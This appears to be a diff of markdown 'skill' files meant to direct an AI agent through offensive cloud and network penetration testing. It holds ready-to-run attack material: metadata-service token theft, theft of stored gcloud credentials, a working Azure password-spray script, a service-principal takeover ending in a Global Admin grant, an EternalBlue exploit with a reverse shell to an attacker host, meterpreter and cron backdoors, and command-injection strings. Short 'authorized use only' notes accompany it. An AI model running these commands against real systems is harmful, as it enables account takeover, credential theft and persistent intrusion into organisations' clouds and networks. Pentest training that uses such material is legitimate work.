gcloud beta compute ssh --zone "region" "instance" --project "project"
|
||||
|
||||
# Storage buckets
|
||||
gsutil ls
|
||||
gsutil ls -r gs://bucket-name
|
||||
gsutil cp gs://bucket/file ./local
|
||||
|
||||
# SQL instances
|
||||
gcloud sql instances list
|
||||
gcloud sql databases list --instance <id>
|
||||
|
||||
# Kubernetes
|
||||
gcloud container clusters list
|
||||
gcloud container clusters get-credentials <cluster> --region <region>
|
||||
kubectl cluster-info
|
||||
```
|
||||
|
||||
### Phase 11: GCP Exploitation
|
||||
|
||||
Exploit GCP misconfigurations:
|
||||
|
||||
```bash
|
||||
# Get metadata service data
|
||||
curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google"
|
||||
|
||||
# Check access scopes
|
||||
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'
|
||||
|
||||
# Decrypt data with keyring
|
||||
gcloud kms decrypt --ciphertext-file=encrypted.enc --plaintext-file=out.txt --key <key> --keyring <keyring> --location global
|
||||
|
||||
# Serverless function analysis
|
||||
gcloud functions list
|
||||
gcloud functions describe <name>
|
||||
gcloud functions logs read <name> --limit 100
|
||||
|
||||
# Find stored credentials
|
||||
sudo find /home -name "credentials.db"
|
||||
sudo cp -r /home/user/.config/gcloud ~/.config
|
||||
gcloud auth list
|
||||
```
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### Azure Key Commands
|
||||
|
||||
| Action | Command |
|
||||
|--------|---------|
|
||||
| Login | `Connect-AzAccount` |
|
||||
| List subscriptions | `Get-AzSubscription` |
|
||||
| List users | `Get-MsolUser -All` |
|
||||
| List groups | `Get-MsolGroup -All` |
|
||||
| Current roles | `Get-AzRoleAssignment` |
|
||||
| List VMs | `Get-AzVM` |
|
||||
| List storage | `Get-AzStorageAccount` |
|
||||
| Key Vault secrets | `az keyvault secret list --vault-name <name>` |
|
||||
|
||||
### AWS Key Commands
|
||||
|
||||
| Action | Command |
|
||||
|--------|---------|
|
||||
| Configure | `aws configure` |
|
||||
| Caller identity | `aws sts get-caller-identity` |
|
||||
| List users | `aws iam list-users` |
|
||||
| List S3 buckets | `aws s3 ls` |
|
||||
| List EC2 | `aws ec2 describe-instances` |
|
||||
| List Lambda | `aws lambda list-functions` |
|
||||
| Metadata | `curl http://169.254.169.254/latest/meta-data/` |
|
||||
|
||||
### GCP Key Commands
|
||||
|
||||
| Action | Command |
|
||||
|--------|---------|
|
||||
| Login | `gcloud auth login` |
|
||||
| List projects | `gcloud projects list` |
|
||||
| List instances | `gcloud compute instances list` |
|
||||
| List buckets | `gsutil ls` |
|
||||
| List clusters | `gcloud container clusters list` |
|
||||
| IAM policy | `gcloud projects get-iam-policy <project>` |
|
||||
| Metadata | `curl -H "Metadata-Flavor: Google" http://metadata.google.internal/...` |
|
||||
|
||||
### Metadata Service URLs
|
||||
|
||||
| Provider | URL |
|
||||
|----------|-----|
|
||||
| AWS | `http://169.254.169.254/latest/meta-data/` |
|
||||
| Azure | `http://169.254.169.254/metadata/instance?api-version=2018-02-01` |
|
||||
| GCP | `http://metadata.google.internal/computeMetadata/v1/` |
|
||||
|
||||
### Useful Tools
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| ScoutSuite | Multi-cloud security auditing |
|
||||
| Pacu | AWS exploitation framework |
|
||||
| AzureHound | Azure AD attack path mapping |
|
||||
| ROADTools | Azure AD enumeration |
|
||||
| WeirdAAL | AWS service enumeration |
|
||||
| MicroBurst | Azure security assessment |
|
||||
| PowerZure | Azure post-exploitation |
|
||||
|
||||
## Constraints and Limitations
|
||||
|
||||
### Legal Requirements
|
||||
- Only test with explicit written authorization
|
||||
- Respect scope boundaries between cloud accounts
|
||||
- Do not access production customer data
|
||||
- Document all testing activities
|
||||
|
||||
### Technical Limitations
|
||||
- MFA may prevent credential-based attacks
|
||||
- Conditional Access policies may restrict access
|
||||
- CloudTrail/Activity Logs record all API calls
|
||||
- Some resources require specific regional access
|
||||
|
||||
### Detection Considerations
|
||||
- Cloud providers log all API activity
|
||||
- Unusual access patterns trigger alerts
|
||||
- Use slow, deliberate enumeration
|
||||
- Consider GuardDuty, Security Center, Cloud Armor
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: Azure Password Spray
|
||||
|
||||
**Scenario:** Test Azure AD password policy
|
||||
|
||||
```powershell
|
||||
# Using MSOLSpray with FireProx for IP rotation
|
||||
# First create FireProx endpoint
|
||||
python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create
|
||||
|
||||
# Spray passwords
|
||||
Import-Module .\MSOLSpray.ps1
|
||||
Invoke-MSOLSpray -UserList .\users.txt -Password "Spring2024!" -URL https://<api-gateway>.execute-api.us-east-1.amazonaws.com/fireprox
|
||||
```
|
||||
|
||||
### Example 2: AWS S3 Bucket Enumeration
|
||||
|
||||
**Scenario:** Find and access misconfigured S3 buckets
|
||||
|
||||
```bash
|
||||
# List all buckets
|
||||
aws s3 ls | awk '{print $3}' > buckets.txt
|
||||
|
||||
# Check each bucket for contents
|
||||
while read bucket; do
|
||||
echo "Checking: $bucket"
|
||||
aws s3 ls s3://$bucket 2>/dev/null
|
||||
done < buckets.txt
|
||||
|
||||
# Download interesting bucket
|
||||
aws s3 sync s3://misconfigured-bucket ./loot/
|
||||
```
|
||||
|
||||
### Example 3: GCP Service Account Compromise
|
||||
|
||||
**Scenario:** Pivot using compromised service account
|
||||
|
||||
```bash
|
||||
# Authenticate with service account key
|
||||
gcloud auth activate-service-account --key-file compromised-sa.json
|
||||
|
||||
# List accessible projects
|
||||
gcloud projects list
|
||||
|
||||
# Enumerate compute instances
|
||||
gcloud compute instances list --project target-project
|
||||
|
||||
# Check for SSH keys in metadata
|
||||
gcloud compute project-info describe --project target-project | grep ssh
|
||||
|
||||
# SSH to instance
|
||||
gcloud beta compute ssh instance-name --zone us-central1-a --project target-project
|
||||
```
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Issue | Solutions |
|
||||
|-------|-----------|
|
||||
| Authentication failures | Verify credentials; check MFA; ensure correct tenant/project; try alternative auth methods |
|
||||
| Permission denied | List current roles; try different resources; check resource policies; verify region |
|
||||
| Metadata service blocked | Check IMDSv2 (AWS); verify instance role; check firewall for 169.254.169.254 |
|
||||
| Rate limiting | Add delays; spread across regions; use multiple credentials; focus on high-value targets |
|
||||
|
||||
## References
|
||||
|
||||
- [Advanced Cloud Scripts](references/advanced-cloud-scripts.md) - Azure Automation runbooks, Function Apps enumeration, AWS data exfiltration, GCP advanced exploitation
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
+318
@@ -0,0 +1,318 @@
|
||||
# Advanced Cloud Pentesting Scripts
|
||||
|
||||
Reference: [Cloud Pentesting Cheatsheet by Beau Bullock](https://github.com/dafthack/CloudPentestCheatsheets)
|
||||
|
||||
## Azure Automation Runbooks
|
||||
|
||||
### Export All Runbooks from All Subscriptions
|
||||
|
||||
```powershell
|
||||
$subs = Get-AzSubscription
|
||||
Foreach($s in $subs){
|
||||
$subscriptionid = $s.SubscriptionId
|
||||
mkdir .\$subscriptionid\
|
||||
Select-AzSubscription -Subscription $subscriptionid
|
||||
$runbooks = @()
|
||||
$autoaccounts = Get-AzAutomationAccount | Select-Object AutomationAccountName,ResourceGroupName
|
||||
foreach ($i in $autoaccounts){
|
||||
$runbooks += Get-AzAutomationRunbook -AutomationAccountName $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,Name
|
||||
}
|
||||
foreach($r in $runbooks){
|
||||
Export-AzAutomationRunbook -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -Name $r.Name -OutputFolder .\$subscriptionid\
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Export All Automation Job Outputs
|
||||
|
||||
```powershell
|
||||
$subs = Get-AzSubscription
|
||||
$jobout = @()
|
||||
Foreach($s in $subs){
|
||||
$subscriptionid = $s.SubscriptionId
|
||||
Select-AzSubscription -Subscription $subscriptionid
|
||||
$jobs = @()
|
||||
$autoaccounts = Get-AzAutomationAccount | Select-Object AutomationAccountName,ResourceGroupName
|
||||
foreach ($i in $autoaccounts){
|
||||
$jobs += Get-AzAutomationJob $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,JobId
|
||||
}
|
||||
foreach($r in $jobs){
|
||||
$jobout += Get-AzAutomationJobOutput -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -JobId $r.JobId
|
||||
}
|
||||
}
|
||||
$jobout | Out-File -Encoding ascii joboutputs.txt
|
||||
```
|
||||
|
||||
## Azure Function Apps
|
||||
|
||||
### List All Function App Hostnames
|
||||
|
||||
```powershell
|
||||
$functionapps = Get-AzFunctionApp
|
||||
foreach($f in $functionapps){
|
||||
$f.EnabledHostname
|
||||
}
|
||||
```
|
||||
|
||||
### Extract Function App Information
|
||||
|
||||
```powershell
|
||||
$subs = Get-AzSubscription
|
||||
$allfunctioninfo = @()
|
||||
Foreach($s in $subs){
|
||||
$subscriptionid = $s.SubscriptionId
|
||||
Select-AzSubscription -Subscription $subscriptionid
|
||||
$functionapps = Get-AzFunctionApp
|
||||
foreach($f in $functionapps){
|
||||
$allfunctioninfo += $f.config | Select-Object AcrUseManagedIdentityCred,AcrUserManagedIdentityId,AppCommandLine,ConnectionString,CorSupportCredentials,CustomActionParameter
|
||||
$allfunctioninfo += $f.SiteConfig | fl
|
||||
$allfunctioninfo += $f.ApplicationSettings | fl
|
||||
$allfunctioninfo += $f.IdentityUserAssignedIdentity.Keys | fl
|
||||
}
|
||||
}
|
||||
$allfunctioninfo
|
||||
```
|
||||
|
||||
## Azure Device Code Login Flow
|
||||
|
||||
### Initiate Device Code Login
|
||||
|
||||
```powershell
|
||||
$body = @{
|
||||
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
|
||||
"resource" = "https://graph.microsoft.com"
|
||||
}
|
||||
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
|
||||
$Headers = @{}
|
||||
$Headers["User-Agent"] = $UserAgent
|
||||
$authResponse = Invoke-RestMethod `
|
||||
-UseBasicParsing `
|
||||
-Method Post `
|
||||
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
|
||||
-Headers $Headers `
|
||||
-Body $body
|
||||
$authResponse
|
||||
```
|
||||
|
||||
Navigate to https://microsoft.com/devicelogin and enter the code.
|
||||
|
||||
### Retrieve Access Tokens
|
||||
|
||||
```powershell
|
||||
$body = @{
|
||||
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
|
||||
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
|
||||
"code" = $authResponse.device_code
|
||||
}
|
||||
$Tokens = Invoke-RestMethod `
|
||||
-UseBasicParsing `
|
||||
-Method Post `
|
||||
-Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
|
||||
-Headers $Headers `
|
||||
-Body $body
|
||||
$Tokens
|
||||
```
|
||||
|
||||
## Azure Managed Identity Token Retrieval
|
||||
|
||||
```powershell
|
||||
# From Azure VM
|
||||
Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
|
||||
|
||||
# Full instance metadata
|
||||
$instance = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
|
||||
$instance
|
||||
```
|
||||
|
||||
## AWS Region Iteration Scripts
|
||||
|
||||
Create `regions.txt`:
|
||||
```
|
||||
us-east-1
|
||||
us-east-2
|
||||
us-west-1
|
||||
us-west-2
|
||||
ca-central-1
|
||||
eu-west-1
|
||||
eu-west-2
|
||||
eu-west-3
|
||||
eu-central-1
|
||||
eu-north-1
|
||||
ap-southeast-1
|
||||
ap-southeast-2
|
||||
ap-south-1
|
||||
ap-northeast-1
|
||||
ap-northeast-2
|
||||
ap-northeast-3
|
||||
sa-east-1
|
||||
```
|
||||
|
||||
### List All EC2 Public IPs
|
||||
|
||||
```bash
|
||||
while read r; do
|
||||
aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $r | jq -r '.[]' >> ec2-public-ips.txt
|
||||
done < regions.txt
|
||||
sort -u ec2-public-ips.txt -o ec2-public-ips.txt
|
||||
```
|
||||
|
||||
### List All ELB DNS Addresses
|
||||
|
||||
```bash
|
||||
while read r; do
|
||||
aws elbv2 describe-load-balancers --query LoadBalancers[*].DNSName --region $r | jq -r '.[]' >> elb-public-dns.txt
|
||||
aws elb describe-load-balancers --query LoadBalancerDescriptions[*].DNSName --region $r | jq -r '.[]' >> elb-public-dns.txt
|
||||
done < regions.txt
|
||||
sort -u elb-public-dns.txt -o elb-public-dns.txt
|
||||
```
|
||||
|
||||
### List All RDS DNS Addresses
|
||||
|
||||
```bash
|
||||
while read r; do
|
||||
aws rds describe-db-instances --query=DBInstances[*].Endpoint.Address --region $r | jq -r '.[]' >> rds-public-dns.txt
|
||||
done < regions.txt
|
||||
sort -u rds-public-dns.txt -o rds-public-dns.txt
|
||||
```
|
||||
|
||||
### Get CloudFormation Outputs
|
||||
|
||||
```bash
|
||||
while read r; do
|
||||
aws cloudformation describe-stacks --query 'Stacks[*].[StackName, Description, Parameters, Outputs]' --region $r | jq -r '.[]' >> cloudformation-outputs.txt
|
||||
done < regions.txt
|
||||
```
|
||||
|
||||
## ScoutSuite jq Parsing Queries
|
||||
|
||||
### AWS Queries
|
||||
|
||||
```bash
|
||||
# Find All Lambda Environment Variables
|
||||
for d in */ ; do
|
||||
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.awslambda.regions[].functions[] | select (.env_variables != []) | .arn, .env_variables' >> lambda-all-environment-variables.txt
|
||||
done
|
||||
|
||||
# Find World Listable S3 Buckets
|
||||
for d in */ ; do
|
||||
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id, .services.s3.findings."s3-bucket-AuthenticatedUsers-read".items[]' >> s3-buckets-world-listable.txt
|
||||
done
|
||||
|
||||
# Find All EC2 User Data
|
||||
for d in */ ; do
|
||||
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].vpcs[].instances[] | select (.user_data != null) | .arn, .user_data' >> ec2-instance-all-user-data.txt
|
||||
done
|
||||
|
||||
# Find EC2 Security Groups That Whitelist AWS CIDRs
|
||||
for d in */ ; do
|
||||
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id' >> ec2-security-group-whitelists-aws-cidrs.txt
|
||||
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.findings."ec2-security-group-whitelists-aws".items' >> ec2-security-group-whitelists-aws-cidrs.txt
|
||||
done
|
||||
|
||||
# Find All EC2 EBS Volumes Unencrypted
|
||||
for d in */ ; do
|
||||
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].volumes[] | select(.Encrypted == false) | .arn' >> ec2-ebs-volume-not-encrypted.txt
|
||||
done
|
||||
|
||||
# Find All EC2 EBS Snapshots Unencrypted
|
||||
for d in */ ; do
|
||||
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].snapshots[] | select(.encrypted == false) | .arn' >> ec2-ebs-snapshot-not-encrypted.txt
|
||||
done
|
||||
```
|
||||
|
||||
### Azure Queries
|
||||
|
||||
```bash
|
||||
# List All Azure App Service Host Names
|
||||
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r '.services.appservice.subscriptions[].web_apps[].host_names[]'
|
||||
|
||||
# List All Azure SQL Servers
|
||||
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr '.services.sqldatabase.subscriptions[].servers[] | .name,".database.windows.net","\n"'
|
||||
|
||||
# List All Azure Virtual Machine Hostnames
|
||||
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr '.services.virtualmachines.subscriptions[].instances[] | .name,".",.location,".cloudapp.windows.net","\n"'
|
||||
|
||||
# List Storage Accounts
|
||||
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r '.services.storageaccounts.subscriptions[].storage_accounts[] | .name'
|
||||
|
||||
# List Disks Encrypted with Platform Managed Keys
|
||||
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq '.services.virtualmachines.subscriptions[].disks[] | select(.encryption_type = "EncryptionAtRestWithPlatformKey") | .name' > disks-with-pmks.txt
|
||||
```
|
||||
|
||||
## Password Spraying with Az PowerShell
|
||||
|
||||
```powershell
|
||||
$userlist = Get-Content userlist.txt
|
||||
$passlist = Get-Content passlist.txt
|
||||
$linenumber = 0
|
||||
$count = $userlist.count
|
||||
foreach($line in $userlist){
|
||||
$user = $line
|
||||
$pass = ConvertTo-SecureString $passlist[$linenumber] -AsPlainText -Force
|
||||
$current = $linenumber + 1
|
||||
Write-Host -NoNewline ("`r[" + $current + "/" + $count + "]" + "Trying: " + $user + " and " + $passlist[$linenumber])
|
||||
$linenumber++
|
||||
$Cred = New-Object System.Management.Automation.PSCredential ($user, $pass)
|
||||
try {
|
||||
Connect-AzAccount -Credential $Cred -ErrorAction Stop -WarningAction SilentlyContinue
|
||||
Add-Content valid-creds.txt ($user + "|" + $passlist[$linenumber - 1])
|
||||
Write-Host -ForegroundColor green ("`nGot something here: $user and " + $passlist[$linenumber - 1])
|
||||
}
|
||||
catch {
|
||||
$Failure = $_.Exception
|
||||
if ($Failure -match "ID3242") { continue }
|
||||
else {
|
||||
Write-Host -ForegroundColor green ("`nGot something here: $user and " + $passlist[$linenumber - 1])
|
||||
Add-Content valid-creds.txt ($user + "|" + $passlist[$linenumber - 1])
|
||||
Add-Content valid-creds.txt $Failure.Message
|
||||
Write-Host -ForegroundColor red $Failure.Message
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Service Principal Attack Path
|
||||
|
||||
```bash
|
||||
# Reset service principal credential
|
||||
az ad sp credential reset --id <app_id>
|
||||
az ad sp credential list --id <app_id>
|
||||
|
||||
# Login as service principal
|
||||
az login --service-principal -u "app id" -p "password" --tenant <tenant ID> --allow-no-subscriptions
|
||||
|
||||
# Create new user in tenant
|
||||
az ad user create --display-name <name> --password <password> --user-principal-name <upn>
|
||||
|
||||
# Add user to Global Admin via MS Graph
|
||||
$Body="{'principalId':'User Object ID', 'roleDefinitionId': '62e90394-69f5-4237-9190-012177145e10', 'directoryScopeId': '/'}"
|
||||
az rest --method POST --uri https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments --headers "Content-Type=application/json" --body $Body
|
||||
```
|
||||
|
||||
## Additional Tools Reference
|
||||
|
||||
| Tool | URL | Purpose |
|
||||
|------|-----|---------|
|
||||
| MicroBurst | github.com/NetSPI/MicroBurst | Azure security assessment |
|
||||
| PowerZure | github.com/hausec/PowerZure | Azure post-exploitation |
|
||||
| ROADTools | github.com/dirkjanm/ROADtools | Azure AD enumeration |
|
||||
| Stormspotter | github.com/Azure/Stormspotter | Azure attack path graphing |
|
||||
| MSOLSpray | github.com/dafthack | O365 password spraying |
|
||||
| AzureHound | github.com/BloodHoundAD/AzureHound | Azure AD attack paths |
|
||||
| WeirdAAL | github.com/carnal0wnage/weirdAAL | AWS enumeration |
|
||||
| Pacu | github.com/RhinoSecurityLabs/pacu | AWS exploitation |
|
||||
| ScoutSuite | github.com/nccgroup/ScoutSuite | Multi-cloud auditing |
|
||||
| cloud_enum | github.com/initstring/cloud_enum | Public resource discovery |
|
||||
| GitLeaks | github.com/zricethezav/gitleaks | Secret scanning |
|
||||
| TruffleHog | github.com/dxa4481/truffleHog | Git secret scanning |
|
||||
| ip2Provider | github.com/oldrho/ip2provider | Cloud IP identification |
|
||||
| FireProx | github.com/ustayready/fireprox | IP rotation via AWS API Gateway |
|
||||
|
||||
## Vulnerable Training Environments
|
||||
|
||||
| Platform | URL | Purpose |
|
||||
|----------|-----|---------|
|
||||
| CloudGoat | github.com/RhinoSecurityLabs/cloudgoat | AWS vulnerable lab |
|
||||
| SadCloud | github.com/nccgroup/sadcloud | Terraform misconfigs |
|
||||
| Flaws Cloud | flaws.cloud | AWS CTF challenges |
|
||||
| Thunder CTF | thunder-ctf.cloud | GCP CTF challenges |
|
||||
+472
@@ -0,0 +1,472 @@
|
||||
---
|
||||
name: ethical-hacking-methodology
|
||||
description: "Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments."
|
||||
risk: offensive
|
||||
source: community
|
||||
author: zebbern
|
||||
date_added: "2026-02-27"
|
||||
---
|
||||
|
||||
> AUTHORIZED USE ONLY: Use this skill only for authorized penetration testing engagements, defensive validation, or controlled educational environments.
|
||||
|
||||
# Ethical Hacking Methodology
|
||||
|
||||
## Purpose
|
||||
|
||||
Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
### Required Environment
|
||||
- Kali Linux installed (persistent or live)
|
||||
- Network access to authorized targets
|
||||
- Written authorization from system owner
|
||||
|
||||
### Required Knowledge
|
||||
- Basic networking concepts
|
||||
- Linux command-line proficiency
|
||||
- Understanding of web technologies
|
||||
- Familiarity with security concepts
|
||||
|
||||
## Outputs and Deliverables
|
||||
|
||||
1. **Reconnaissance Report** - Target information gathered
|
||||
2. **Vulnerability Assessment** - Identified weaknesses
|
||||
3. **Exploitation Evidence** - Proof of concept attacks
|
||||
4. **Final Report** - Executive and technical findings
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Phase 1: Understanding Hacker Types
|
||||
|
||||
Classification of security professionals:
|
||||
|
||||
**White Hat Hackers (Ethical Hackers)**
|
||||
- Authorized security professionals
|
||||
- Conduct penetration testing with permission
|
||||
- Goal: Identify and fix vulnerabilities
|
||||
- Also known as: penetration testers, security consultants
|
||||
|
||||
**Black Hat Hackers (Malicious)**
|
||||
- Unauthorized system intrusions
|
||||
- Motivated by profit, revenge, or notoriety
|
||||
- Goal: Steal data, cause damage
|
||||
- Also known as: crackers, criminal hackers
|
||||
|
||||
**Grey Hat Hackers (Hybrid)**
|
||||
- May cross ethical boundaries
|
||||
- Not malicious but may break rules
|
||||
- Often disclose vulnerabilities publicly
|
||||
- Mixed motivations
|
||||
|
||||
**Other Classifications**
|
||||
- **Script Kiddies**: Use pre-made tools without understanding
|
||||
- **Hacktivists**: Politically or socially motivated
|
||||
- **Nation State**: Government-sponsored operatives
|
||||
- **Coders**: Develop tools and exploits
|
||||
|
||||
### Phase 2: Reconnaissance
|
||||
|
||||
Gather information without direct system interaction:
|
||||
|
||||
**Passive Reconnaissance**
|
||||
```bash
|
||||
# WHOIS lookup
|
||||
whois target.com
|
||||
|
||||
# DNS enumeration
|
||||
nslookup target.com
|
||||
dig target.com ANY
|
||||
dig target.com MX
|
||||
dig target.com NS
|
||||
|
||||
# Subdomain discovery
|
||||
dnsrecon -d target.com
|
||||
|
||||
# Email harvesting
|
||||
theHarvester -d target.com -b all
|
||||
```
|
||||
|
||||
**Google Hacking (OSINT)**
|
||||
```
|
||||
# Find exposed files
|
||||
site:target.com filetype:pdf
|
||||
site:target.com filetype:xls
|
||||
site:target.com filetype:doc
|
||||
|
||||
# Find login pages
|
||||
site:target.com inurl:login
|
||||
site:target.com inurl:admin
|
||||
|
||||
# Find directory listings
|
||||
site:target.com intitle:"index of"
|
||||
|
||||
# Find configuration files
|
||||
site:target.com filetype:config
|
||||
site:target.com filetype:env
|
||||
```
|
||||
|
||||
**Google Hacking Database Categories:**
|
||||
- Files containing passwords
|
||||
- Sensitive directories
|
||||
- Web server detection
|
||||
- Vulnerable servers
|
||||
- Error messages
|
||||
- Login portals
|
||||
|
||||
**Social Media Reconnaissance**
|
||||
- LinkedIn: Organizational charts, technologies used
|
||||
- Twitter: Company announcements, employee info
|
||||
- Facebook: Personal information, relationships
|
||||
- Job postings: Technology stack revelations
|
||||
|
||||
### Phase 3: Scanning
|
||||
|
||||
Active enumeration of target systems:
|
||||
|
||||
**Host Discovery**
|
||||
```bash
|
||||
# Ping sweep
|
||||
nmap -sn 192.168.1.0/24
|
||||
|
||||
# ARP scan (local network)
|
||||
arp-scan -l
|
||||
|
||||
# Discover live hosts
|
||||
nmap -sP 192.168.1.0/24
|
||||
```
|
||||
|
||||
**Port Scanning**
|
||||
```bash
|
||||
# TCP SYN scan (stealth)
|
||||
nmap -sS target.com
|
||||
|
||||
# Full TCP connect scan
|
||||
nmap -sT target.com
|
||||
|
||||
# UDP scan
|
||||
nmap -sU target.com
|
||||
|
||||
# All ports scan
|
||||
nmap -p- target.com
|
||||
|
||||
# Top 1000 ports with service detection
|
||||
nmap -sV target.com
|
||||
|
||||
# Aggressive scan (OS, version, scripts)
|
||||
nmap -A target.com
|
||||
```
|
||||
|
||||
**Service Enumeration**
|
||||
```bash
|
||||
# Specific service scripts
|
||||
nmap --script=http-enum target.com
|
||||
nmap --script=smb-enum-shares target.com
|
||||
nmap --script=ftp-anon target.com
|
||||
|
||||
# Vulnerability scanning
|
||||
nmap --script=vuln target.com
|
||||
```
|
||||
|
||||
**Common Port Reference**
|
||||
| Port | Service | Notes |
|
||||
|------|---------|-------|
|
||||
| 21 | FTP | File transfer |
|
||||
| 22 | SSH | Secure shell |
|
||||
| 23 | Telnet | Unencrypted remote |
|
||||
| 25 | SMTP | Email |
|
||||
| 53 | DNS | Name resolution |
|
||||
| 80 | HTTP | Web |
|
||||
| 443 | HTTPS | Secure web |
|
||||
| 445 | SMB | Windows shares |
|
||||
| 3306 | MySQL | Database |
|
||||
| 3389 | RDP | Remote desktop |
|
||||
|
||||
### Phase 4: Vulnerability Analysis
|
||||
|
||||
Identify exploitable weaknesses:
|
||||
|
||||
**Automated Scanning**
|
||||
```bash
|
||||
# Nikto web scanner
|
||||
nikto -h http://target.com
|
||||
|
||||
# OpenVAS (command line)
|
||||
omp -u admin -w password --xml="<get_tasks/>"
|
||||
|
||||
# Nessus (via API)
|
||||
nessuscli scan --target target.com
|
||||
```
|
||||
|
||||
**Web Application Testing (OWASP)**
|
||||
- SQL Injection
|
||||
- Cross-Site Scripting (XSS)
|
||||
- Broken Authentication
|
||||
- Security Misconfiguration
|
||||
- Sensitive Data Exposure
|
||||
- XML External Entities (XXE)
|
||||
- Broken Access Control
|
||||
- Insecure Deserialization
|
||||
- Using Components with Known Vulnerabilities
|
||||
- Insufficient Logging & Monitoring
|
||||
|
||||
**Manual Techniques**
|
||||
```bash
|
||||
# Directory brute forcing
|
||||
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
|
||||
|
||||
# Subdomain enumeration
|
||||
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt
|
||||
|
||||
# Web technology fingerprinting
|
||||
whatweb target.com
|
||||
```
|
||||
|
||||
### Phase 5: Exploitation
|
||||
|
||||
Actively exploit discovered vulnerabilities:
|
||||
|
||||
**Metasploit Framework**
|
||||
```bash
|
||||
# Start Metasploit
|
||||
msfconsole
|
||||
|
||||
# Search for exploits
|
||||
msf> search type:exploit name:smb
|
||||
|
||||
# Use specific exploit
|
||||
msf> use exploit/windows/smb/ms17_010_eternalblue
|
||||
|
||||
# Set target
|
||||
msf> set RHOSTS target.com
|
||||
|
||||
# Set payload
|
||||
msf> set PAYLOAD windows/meterpreter/reverse_tcp
|
||||
msf> set LHOST attacker.ip
|
||||
|
||||
# Execute
|
||||
msf> exploit
|
||||
```
|
||||
|
||||
**Password Attacks**
|
||||
```bash
|
||||
# Hydra brute force
|
||||
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
|
||||
hydra -L users.txt -P passwords.txt ftp://target.com
|
||||
|
||||
# John the Ripper
|
||||
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
|
||||
```
|
||||
|
||||
**Web Exploitation**
|
||||
```bash
|
||||
# SQLMap for SQL injection
|
||||
sqlmap -u "http://target.com/page.php?id=1" --dbs
|
||||
sqlmap -u "http://target.com/page.php?id=1" -D database --tables
|
||||
|
||||
# XSS testing
|
||||
# Manual: <script>alert('XSS')</script>
|
||||
|
||||
# Command injection testing
|
||||
# ; ls -la
|
||||
# | cat /etc/passwd
|
||||
```
|
||||
|
||||
### Phase 6: Maintaining Access
|
||||
|
||||
Establish persistent access:
|
||||
|
||||
**Backdoors**
|
||||
```bash
|
||||
# Meterpreter persistence
|
||||
meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip
|
||||
|
||||
# SSH key persistence
|
||||
# Add attacker's public key to ~/.ssh/authorized_keys
|
||||
|
||||
# Cron job persistence
|
||||
echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab
|
||||
```
|
||||
|
||||
**Privilege Escalation**
|
||||
```bash
|
||||
# Linux enumeration
|
||||
linpeas.sh
|
||||
linux-exploit-suggester.sh
|
||||
|
||||
# Windows enumeration
|
||||
winpeas.exe
|
||||
windows-exploit-suggester.py
|
||||
|
||||
# Check SUID binaries (Linux)
|
||||
find / -perm -4000 2>/dev/null
|
||||
|
||||
# Check sudo permissions
|
||||
sudo -l
|
||||
```
|
||||
|
||||
**Covering Tracks (Ethical Context)**
|
||||
- Document all actions taken
|
||||
- Maintain logs for reporting
|
||||
- Avoid unnecessary system changes
|
||||
- Clean up test files and backdoors
|
